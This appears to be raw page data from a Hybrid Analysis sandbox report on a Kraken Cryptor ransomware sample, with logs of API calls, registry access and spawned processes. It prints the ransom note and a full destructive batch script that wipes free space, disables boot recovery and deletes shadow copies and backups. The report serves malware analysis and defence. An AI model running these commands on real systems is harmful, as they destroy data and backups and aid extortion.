23:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 36:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 22:T4bf,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Ransom.KrakenD.Generic Sample 564154a2e364… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 564154a2e364…. Malware family: Ransom.KrakenD.Generic. Threat score 100/100. 19/25 AV engines flagged this file. 13 malicious and 26 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/564154a2e3647318ca40a5ffa68d06b1bd40b606cae1d15985e3d15097b512cd","keywords":["Malicious","Ransom.KrakenD.Generic","malware analysis","sandbox report","threat intelligence","564154a2e3647318ca40a5ffa68d06b1bd40b606cae1d15985e3d15097b512cd"],"about":{"@type":"SoftwareApplication","name":"2018-10-04_19-37-40.exe","applicationCategory":["peexe","assembly","executable"],"identifier":"564154a2e3647318ca40a5ffa68d06b1bd40b606cae1d15985e3d15097b512cd","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Ransom.KrakenD.Generic","antivirusDetections":{"malicious":19,"total":25},"behavioralIndicators":{"malicious":13,"suspicious":26},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}24:T8e0,"K/L7K/L7K/L7K/L7K/L7K/L76DxuakMqfwNR4AAAAAElFTkSuQmCC\" alt=\"LockLogo\" />\r\n \r\n
\r\n

# All your files has been encrypted by \"KRAKEN CRYPTOR\".

\r\n

# Read the following instructions carefully to decrypt your files.

\r\n
\r\n\t\t\t

\r\n -----BEGIN KRAKEN ENCRYPTED UNIQUE KEY-----\r\n\t\t\t
\r\n\t\t\t%Encrypted\r\n
\r\n -----END KRAKEN ENCRYPTED UNIQUE KEY-----\r\n\t\t\t

\r\n\t\t\t
\r\n\t\t\tExtension\r\n\t\t\t

\r\n %Extension\r\n\t\t\t

\r\n\t\t\t
\r\n\t\t\t

What happened to my computer?

\r\n\t\t\t

All of your files such as documents images videos and other files with the different names and extensions are encrypted by \"KRAKEN CRYPTOR\"!

\r\n\t\t\t

Don't delete %Extension files! there are not virus and are your files, but encrypted!

\r\n\t" (Source: 564154a2e3647318ca40a5ffa68d06b1bd40b606cae1d15985e3d15097b512cd.bin, Indicator: "decrypt your files"), "

https://www.bestbitcoinexchange.io

\r\n
\r\n

How to contact you?

\r\n\t\t\t

\r\n

We use best and easy way to communications. It's email support you can see our emails below.

\r\n

Please send your message with same subject to both address.

\r\n
\r\n E-Mail\r\n\t\t\t

\r\n %Email\r\n\t\t\t

\r\n
\t\r\n Alternative\r\n\t\t\t

\r\n %Alternative\r\n\t\t\t

\r\n
\t\r\n

Attention

\r\n\t\t\t

\r\n

DON'T MODIFY OR RENAME ENCRYPTED FILES.
DON'T MODIFY \"KRAKEN ENCRYPT UNIQUE KEY\".
DON'T USE THIRD PARTY PUBLIC TOOLS/SOFTWARE TO DECRYPT YOUR FILES THIS CAUSE DAMAGE YOUR FILES PERMANENTLY." (Source: 564154a2e3647318ca40a5ffa68d06b1bd40b606cae1d15985e3d15097b512cd.bin, Indicator: "decrypt your files")25:T4aa,EnumSystemLocalesW@KERNEL32.DLL at 00048629-00001384-9279-479-3F049C70 GetUserDefaultLCID@KERNEL32.DLL at 00048629-00001384-9279-475-3F049DF8 EnumSystemLocalesW@KERNEL32.DLL at 00048629-00001384-9279-492-3F049134 EnumSystemLocalesW@KERNEL32.DLL at 00048629-00001384-9279-491-3F049788 EnumSystemLocalesW@KERNEL32.DLL at 00048629-00001384-9279-493-3F049080 EnumSystemLocalesW@KERNEL32.DLL at 00048629-00001384-9279-985-3F049004 GetUserDefaultLCID@KERNEL32.dll at 21459-545-0000000140019DF8 EnumSystemLocalesW@KERNEL32.dll at 21459-549-0000000140019C70 EnumSystemLocalesW@KERNEL32.dll at 21459-561-0000000140019788 EnumSystemLocalesW@KERNEL32.dll at 21459-562-0000000140019134 EnumSystemLocalesW@KERNEL32.dll at 21459-563-0000000140019080 EnumSystemLocalesW@KERNEL32.dll at 21459-1116-0000000140019004 GetUserDefaultLCID@KERNEL32.dll at 25730-607-0041B347 GetUserDefaultLCID@KERNEL32.dll at 25730-623-0041AEB8 EnumSystemLocalesW@KERNEL32.dll at 25730-624-0041A8BC EnumSystemLocalesW@KERNEL32.dll at 25730-612-0041B25D EnumSystemLocalesW@KERNEL32.dll at 25730-625-0041A995 EnumSystemLocalesW@KERNEL32.dll at 25730-627-0041A918 GetUserDefaultLCID@KERNEL32.dll at 25730-806-0041A8FC26:T862,"krakentemp0000.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "krakentemp0000.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "krakentemp0000.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "krakentemp0000.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "krakentemp0000.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "krakentemp0000.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "krakentemp0000.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "krakentemp0000.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "krakentemp0000.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "krakentemp0000.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "krakentemp0000.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "krakentemp0000.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "krakentemp0000.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "krakentemp0000.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "krakentemp0000.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "krakentemp0000.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "krakentemp0000.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "krakentemp0000.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "krakentemp0000.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "") "krakentemp0000.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS"; Key: "")27:T8f7,"krakentemp0000.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\MY"; Key: "") "krakentemp0000.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "krakentemp0000.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "krakentemp0000.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "krakentemp0000.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\1FB86B1168EC743154062E8C9CC5B171A4B7CCB4"; Key: "BLOB") "krakentemp0000.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "krakentemp0000.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "krakentemp0000.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "krakentemp0000.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB") "krakentemp0000.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\902EF2DEEB3C5B13EA4C3D5193629309E231AE55"; Key: "BLOB") "krakentemp0000.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\C86EDBC71AB05078F61ACDF3D8DC5DB61EB75FB6"; Key: "BLOB") "krakentemp0000.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\E3FC0AD84F2F5A83ED6F86F567F8B14B40DCBF12"; Key: "BLOB") "krakentemp0000.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\EAB040689A0D805B5D6FD654FC168CFF00B78BE3"; Key: "BLOB") "krakentemp0000.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\F5AD0BCC1AD56CD150725B1C866C30AD92EF21B0"; Key: "BLOB") "krakentemp0000.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\FF67367C5CD4DE4AE18BCCE1D70FDABD7C866135"; Key: "BLOB") "krakentemp0000.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "krakentemp0000.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "krakentemp0000.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "")28:Ta78,".exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") ".exe" touched "Network" (Path: "HKCU\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") ".exe" touched "Recycle Bin" (Path: "HKCU\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER") ".exe" touched "Control Panel" (Path: "HKCU\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER") ".exe" touched "UsersFiles" (Path: "HKCU\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") ".exe" touched "UsersLibraries" (Path: "HKCU\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER") ".exe" touched "CLSID_SearchFolder" (Path: "HKCU\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER") ".exe" touched "Microsoft OneNote Namespace Extension for Windows Desktop Search" (Path: "HKCU\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER") ".exe" touched "IE History and Feeds Shell Data Source for Windows Search" (Path: "HKCU\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER") ".exe" touched "@C:\Program Files (x86)\Microsoft Office\Office15\MAPISHELL.DLL,-110" (Path: "HKCU\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER") ".exe" touched "Public Folder" (Path: "HKCU\CLSID\{4336A54D-038B-4685-AB02-99BB52D3FB8B}\SHELLFOLDER") ".exe" touched "Control Panel command object for Start menu and desktop" (Path: "HKCU\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER") ".exe" touched "@%systemroot%\system32\mssvp.dll,-110" (Path: "HKCU\CLSID\{89D83576-6BD1-4C86-9454-BEB04E94C819}\SHELLFOLDER") ".exe" touched "DXP" (Path: "HKCU\CLSID\{8FD8B88D-30E1-4F25-AC2B-553D3D65F0EA}\SHELLFOLDER") ".exe" touched "CLSID_SearchHome" (Path: "HKCU\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER") ".exe" touched "Windows Search Service Media Center Namespace Extension Handler" (Path: "HKCU\CLSID\{98D99750-0B8A-4C59-9151-589053683D73}\SHELLFOLDER") ".exe" touched "Other Users Folder" (Path: "HKCU\CLSID\{B4FB3F98-C1EA-428D-A78A-D1F5659CBA93}\SHELLFOLDER") ".exe" touched "@%systemroot%\system32\mssvp.dll,-112" (Path: "HKCU\CLSID\{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}\SHELLFOLDER") ".exe" touched "CLSID_StartMenuProviderFolder" (Path: "HKCU\CLSID\{DAF95313-E44D-46AF-BE1B-CBACEA2C3065}\SHELLFOLDER") ".exe" touched "CLSID_StartMenuPathCompleteProviderFolder" (Path: "HKCU\CLSID\{E345F35F-9397-435C-8F95-4E922C26259E}\SHELLFOLDER")29:T403,Spawned process "eventvwr.exe" (UID: 00040012-00002060) Spawned process "krakentemp0000.exe" (UID: 00040041-00003972) Spawned process "tasklist.exe" with commandline ""tasklist" /V /FO CSV" (UID: 00045645-00003660) Spawned process "cmd.exe" with commandline "/C cd %ALLUSERSPROFILE%\ && release.bat" (UID: 00048584-00003904) Spawned process "cmd.exe" with commandline "/C ping 127.0.0.1 -n 3 > NUL&&del /Q /F /S "%TEMP%\krakentemp000 ..." (UID: 00048586-00002636), Spawned process "PING.EXE" with commandline "ping 127.0.0.1 -n 3" (UID: 00048597-00003956), Spawned process "reg.exe" with commandline "REG ADD "HKEY_CURRENT_USER\Software\Sysinternals\SDelete"" (UID: 00048598-00002336), Spawned process "reg.exe" with commandline "REG ADD "HKEY_CURRENT_USER\Software\Sysinternals\SDelete" /v Eu ..." (UID: 00048611-00003548), Spawned process "cmd.exe" with commandline "/c %ALLUSERSPROFILE%\sdelete.exe -c -z C:" (UID: 00048623-00000280), Spawned process "sdelete.exe" with commandline "-c -z C:" (UID: 00048629-00001384)2a:T403,Spawned process "eventvwr.exe" (UID: 00040012-00002060) Spawned process "krakentemp0000.exe" (UID: 00040041-00003972) Spawned process "tasklist.exe" with commandline ""tasklist" /V /FO CSV" (UID: 00045645-00003660) Spawned process "cmd.exe" with commandline "/C cd %ALLUSERSPROFILE%\ && release.bat" (UID: 00048584-00003904) Spawned process "cmd.exe" with commandline "/C ping 127.0.0.1 -n 3 > NUL&&del /Q /F /S "%TEMP%\krakentemp000 ..." (UID: 00048586-00002636), Spawned process "PING.EXE" with commandline "ping 127.0.0.1 -n 3" (UID: 00048597-00003956), Spawned process "reg.exe" with commandline "REG ADD "HKEY_CURRENT_USER\Software\Sysinternals\SDelete"" (UID: 00048598-00002336), Spawned process "reg.exe" with commandline "REG ADD "HKEY_CURRENT_USER\Software\Sysinternals\SDelete" /v Eu ..." (UID: 00048611-00003548), Spawned process "cmd.exe" with commandline "/c %ALLUSERSPROFILE%\sdelete.exe -c -z C:" (UID: 00048623-00000280), Spawned process "sdelete.exe" with commandline "-c -z C:" (UID: 00048629-00001384)2b:T602,".exe" touched file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll" ".exe" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorwks.dll" ".exe" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\machine.config" ".exe" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\security.config" ".exe" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\security.config.cch" ".exe" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\enterprisesec.config" ".exe" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\enterprisesec.config.cch" ".exe" touched file "C:\Windows\assembly\NativeImages_v2.0.50727_64\index351.dat" ".exe" touched file "C:\Windows\System32\l_intl.nls" ".exe" touched file "C:\Windows\assembly\pubpol201.dat" ".exe" touched file "C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp" ".exe" touched file "C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp" ".exe" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\clr.dll" ".exe" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls" ".exe" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorrc.dll" ".exe" touched file "C:\Windows\System32"2c:T548,"krakentemp0000.exe" queried SystemProcessInformation at 00040041-00003972-00000033-19958475562 "krakentemp0000.exe" queried SystemProcessInformation at 00040041-00003972-00000033-35775546814 "krakentemp0000.exe" queried SystemProcessInformation at 00040041-00003972-00000033-50047524110 "krakentemp0000.exe" queried SystemProcessInformation at 00040041-00003972-00000033-64146244608 "krakentemp0000.exe" queried SystemProcessInformation at 00040041-00003972-00000033-79213536079 "krakentemp0000.exe" queried SystemProcessInformation at 00040041-00003972-00000033-94195623109 "krakentemp0000.exe" queried SystemProcessInformation at 00040041-00003972-00000033-111588978960 "krakentemp0000.exe" queried SystemProcessInformation at 00040041-00003972-00000033-124091549265 "krakentemp0000.exe" queried SystemProcessInformation at 00040041-00003972-00000033-139074374333 "krakentemp0000.exe" queried SystemProcessInformation at 00040041-00003972-00000033-154260572063 "krakentemp0000.exe" queried SystemProcessInformation at 00040041-00003972-00000033-170212739520 "krakentemp0000.exe" queried SystemProcessInformation at 00040041-00003972-00000033-195235099567 "tasklist.exe" queried SystemProcessInformation at 00045645-00003660-00000033-195546784998 "tasklist.exe" queried SystemProcessInformation at 00045645-00003660-00000033-1955491172432d:T1b20,"REG ADD "HKEY_CURRENT_USER\Software\Sysinternals\SDelete"" (Indicator: "sysinternals") "REG ADD "HKEY_CURRENT_USER\Software\Sysinternals\SDelete" /v EulaAccepted /t REG_DWORD /d 1 /f" (Indicator: "sysinternals") "\pard\brdrb\brdrs\brdrw10\brsp20 \sb120\sa120\b\f0\fs24 SYSINTERNALS SOFTWARE LICENSE TERMS\fs28\par" (Indicator: "sysinternals") "\pard\sb120\sa120\b0\fs19 These license terms are an agreement between Sysinternals (a wholly owned subsidiary of Microsoft Corporation) and you. Please read them. They apply to the software you are downloading from Systinternals.com, which includes the media on which you received it, if any. The terms also apply to any Sysinternals\par" (Indicator: "sysinternals") "\caps\fs20 2.\tab\fs19 Scope of License\caps0 .\b0 The software is licensed, not sold. This agreement only gives you some rights to use the software. Sysinternals reserves all other rights. Unless applicable law gives you more rights despite this limitation, you may use the software only as expressly permitted in this agreement. In doing so, you must comply with any technical limitations in the software that only allow you to use it in certain ways. You may not\b\par" (Indicator: "sysinternals") "\pard\fi-357\li357\sb120\sa120\tx360\b\fs20 3.\tab SENSITIVE INFORMATION. \b0 Please be aware that, similar to other debug tools that capture \ldblquote process state\rdblquote information, files saved by Sysinternals tools may include personally identifiable or other sensitive information (such as usernames, passwords, paths to files accessed, and paths to registry accessed). By using this software, you acknowledge that you are aware of this and take sole responsibility for any personally identifiable or other sensitive information provided to Microsoft or any other party through your use of the software.\b\par" (Indicator: "sysinternals") "\fs20 11.\tab\fs19 Disclaimer of Warranty.\caps0 \caps The software is licensed "as - is." You bear the risk of using it. SYSINTERNALS gives no express warranties, guarantees or conditions. You may have additional consumer rights under your local laws which this agreement cannot change. To the extent permitted under your local laws, SYSINTERNALS excludes the implied warranties of merchantability, fitness for a particular purpose and non-infringement.\par" (Indicator: "sysinternals") "\pard\fi-360\li360\sb120\sa120\tx360\fs20 12.\tab\fs19 Limitation on and Exclusion of Remedies and Damages. You can recover from SYSINTERNALS and its suppliers only direct damages up to U.S. $5.00. You cannot recover any other damages, including consequential, lost profits, special, indirect or incidental damages.\par" (Indicator: "sysinternals") "\pard\li360\sb120\sa120 It also applies even if Sysinternals knew or should have known about the possibility of the damages. The above limitation or exclusion may not apply to you because your country may not allow the exclusion or limitation of incidental, consequential or other damages.\par" (Indicator: "sysinternals") "\pard\sb120\sa120 EXON\'c9RATION DE GARANTIE.\b0 Le logiciel vis\'e9 par une licence est offert \'ab tel quel \'bb. Toute utilisation de ce logiciel est \'e0 votre seule risque et p\'e9ril. Sysinternals n'accorde aucune autre garantie expresse. Vous pouvez b\'e9n\'e9ficier de droits additionnels en vertu du droit local sur la protection dues consommateurs, que ce contrat ne peut modifier. La ou elles sont permises par le droit locale, les garanties implicites de qualit\'e9 marchande, d'ad\'e9quation \'e0 un usage particulier et d'absence de contrefa\'e7on sont exclues.\par" (Indicator: "sysinternals") "\pard\keepn\sb120\sa120\b LIMITATION DES DOMMAGES-INT\'c9R\'caTS ET EXCLUSION DE RESPONSABILIT\'c9 POUR LES DOMMAGES.\b0 Vous pouvez obtenir de Sysinternals et de ses fournisseurs une indemnisation en cas de dommages directs uniquement \'e0 hauteur de 5,00 $ US. Vous ne pouvez pr\'e9tendre \'e0 aucune indemnisation pour les autres dommages, y compris les dommages sp\'e9ciaux, indirects ou accessoires et pertes de b\'e9n\'e9fices.\par" (Indicator: "sysinternals") "\pard\sb120\sa120 Elle s'applique \'e9galement, m\'eame si Sysinternals connaissait ou devrait conna\'eetre l'\'e9ventualit\'e9 d'un tel dommage. Si votre pays n'autorise pas l'exclusion ou la limitation de responsabilit\'e9 pour les dommages indirects, accessoires ou de quelque nature que ce soit, il se peut que la limitation ou l'exclusion ci-dessus ne s'appliquera pas \'e0 votre \'e9gard.\par" (Indicator: "sysinternals") "SYSINTERNALS SOFTWARE LICENSE TERMS These license terms are an agreement between Sysinternals(a wholly owned subsidiary of Microsoft Corporation) and you.Please read them.They apply to the software you are downloading from technet.microsoft.com / sysinternals, which includes the media on which you received it, if any.The terms also apply to any Sysinternals * updates, *supplements, *Internet - based services, *and support services for this software, unless other terms accompany those items.If so, those term" (Indicator: "sysinternals") "rights under your local laws which this agreement cannot change.To the extent permitted under your local laws, sysinternals excludes the implied warranties of merchantability, fitness for a particular purpose and non - infringement. LIMITATION ON AND EXCLUSION OF REMEDIES AND DAMAGES You can recover from sysinternals and its suppliers only direct damages up to U.S.$5.00.You cannot recover any other damages, including consequential, lost profits, special, indirect or incidental damages. This limitation appl" (Indicator: "sysinternals") "als - www.sysinternals.com" (Indicator: "sysinternals") ":: [Version 1.6] REM [Echo OFF] @echo off REM [Microsoft Sysinternals Eula Accepted] REG ADD "HKEY_CURRENT_USER\Software\Sysinternals\SDelete" REG ADD "HKEY_CURRENT_USER\Software\Sysinternals\SDelete" /v EulaAccepted /t REG_DWORD /d 1 /f REM [Wipe Drives Free Space] cmd.exe /c C:\ProgramData\sdelete.exe -c -z C: cmd.exe /c C:\ProgramData\sdelete.exe -z D: cmd.exe /c C:\ProgramData\sdelete.exe -z Z: REM [Start SYSTEM Shutdown Timer] shutdown /S /F /T 300 /C "Unexpected shutdown due to maintenance break." REM [Disable Safe Boot] bcdedit /set {default} recoveryenabled No bcdedit /set {default} bootstatuspolicy ignoreallfailures REM [Delete Backups] wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0 wmic SHADOWCOPY DELETE vssadmin delete shadows /All REM [Delete Temp Files] del C:\ProgramData\sdelete.exe del C:\ProgramData\release.bat" (Indicator: "sysinternals") "REM [Microsoft Sysinternals Eula Accepted]" (Indicator: "sysinternals") "REG ADD "HKEY_CURRENT_USER\Software\Sysinternals\SDelete"" (Indicator: "sysinternals") "REG ADD "HKEY_CURRENT_USER\Software\Sysinternals\SDelete" /v EulaAccepted /t REG_DWORD /d 1 /f" (Indicator: "sysinternals") "Software\Sysinternals\%s" (Indicator: "sysinternals")2e:T6a8,"%TEMP%\krakentemp0000.exe" marked "C:\PerfLogs\Admin\Touch" for deletion "%TEMP%\krakentemp0000.exe" marked "C:\PerfLogs\Touch" for deletion "%TEMP%\krakentemp0000.exe" marked "C:\Program Files\Touch" for deletion "%TEMP%\krakentemp0000.exe" marked "C:\Program Files (x86)\Touch" for deletion "%TEMP%\krakentemp0000.exe" marked "C:\Users\Touch" for deletion "%TEMP%\krakentemp0000.exe" marked "C:\Users\%OSUSER%\Touch" for deletion "%TEMP%\krakentemp0000.exe" marked "C:\Users\%OSUSER%\Contacts\Touch" for deletion "%TEMP%\krakentemp0000.exe" marked "C:\Users\%OSUSER%\Desktop\Touch" for deletion "%TEMP%\krakentemp0000.exe" marked "C:\Users\%OSUSER%\Documents\Touch" for deletion "%TEMP%\krakentemp0000.exe" marked "C:\Users\%OSUSER%\Documents\Outlook Files\Touch" for deletion "%TEMP%\krakentemp0000.exe" marked "C:\Users\%OSUSER%\Downloads\Touch" for deletion "%TEMP%\krakentemp0000.exe" marked "C:\Users\%OSUSER%\Favorites\MSN Websites\Touch" for deletion "%TEMP%\krakentemp0000.exe" marked "C:\Users\%OSUSER%\Favorites\Windows Live\Touch" for deletion "%TEMP%\krakentemp0000.exe" marked "C:\Users\%OSUSER%\Links\Touch" for deletion "%TEMP%\krakentemp0000.exe" marked "C:\Users\%OSUSER%\Music\Touch" for deletion "%TEMP%\krakentemp0000.exe" marked "C:\Users\%OSUSER%\OneDrive\Touch" for deletion "%TEMP%\krakentemp0000.exe" marked "C:\Users\%OSUSER%\Favorites\Touch" for deletion "%TEMP%\krakentemp0000.exe" marked "C:\Users\%OSUSER%\Favorites\Links\Touch" for deletion "%TEMP%\krakentemp0000.exe" marked "C:\Users\%OSUSER%\Favorites\Links for United States\Touch" for deletion "%TEMP%\krakentemp0000.exe" marked "C:\Users\%OSUSER%\Favorites\Microsoft Websites\Touch" for deletion2f:T743,".exe" opened "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\security.config.cch.2612.620750" with delete access ".exe" opened "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\enterprisesec.config.cch.2612.620750" with delete access ".exe" opened "C:\Users\BVQUolY\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\64bit\security.config.cch.2612.620859" with delete access "krakentemp0000.exe" opened "C:\PerfLogs\Admin\Touch" with delete access "krakentemp0000.exe" opened "C:\Users\BVQUolY\Documents\Outlook Files\Outlook.pst" with delete access "krakentemp0000.exe" opened "C:\Users\BVQUolY\Downloads\0MTtHojL.rar" with delete access "krakentemp0000.exe" opened "C:\PerfLogs\Touch" with delete access "krakentemp0000.exe" opened "C:\Program Files\Touch" with delete access "krakentemp0000.exe" opened "C:\Program Files (x86)\Touch" with delete access "krakentemp0000.exe" opened "C:\Users\Touch" with delete access "krakentemp0000.exe" opened "C:\Users\BVQUolY\Touch" with delete access "krakentemp0000.exe" opened "C:\Users\BVQUolY\Contacts\Touch" with delete access "krakentemp0000.exe" opened "C:\Users\BVQUolY\Contacts\%OSUSER%.contact" with delete access "krakentemp0000.exe" opened "C:\Users\BVQUolY\Desktop\Touch" with delete access "krakentemp0000.exe" opened "C:\Users\BVQUolY\Documents\Touch" with delete access "krakentemp0000.exe" opened "C:\Users\BVQUolY\Documents\Database1.accdb" with delete access "krakentemp0000.exe" opened "C:\Users\BVQUolY\Documents\Outlook Files\Touch" with delete access "krakentemp0000.exe" opened "C:\Users\BVQUolY\Downloads\Touch" with delete access "krakentemp0000.exe" opened "C:\Users\BVQUolY\Downloads\0Sp0C2.avi" with delete access "krakentemp0000.exe" opened "C:\Users\BVQUolY\Downloads\0vAOzfx2r.mp3" with delete access30:T97a,"krakentemp0000.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "krakentemp0000.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "krakentemp0000.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "krakentemp0000.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "krakentemp0000.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "krakentemp0000.exe" (Access type: "CREATE"; Path: 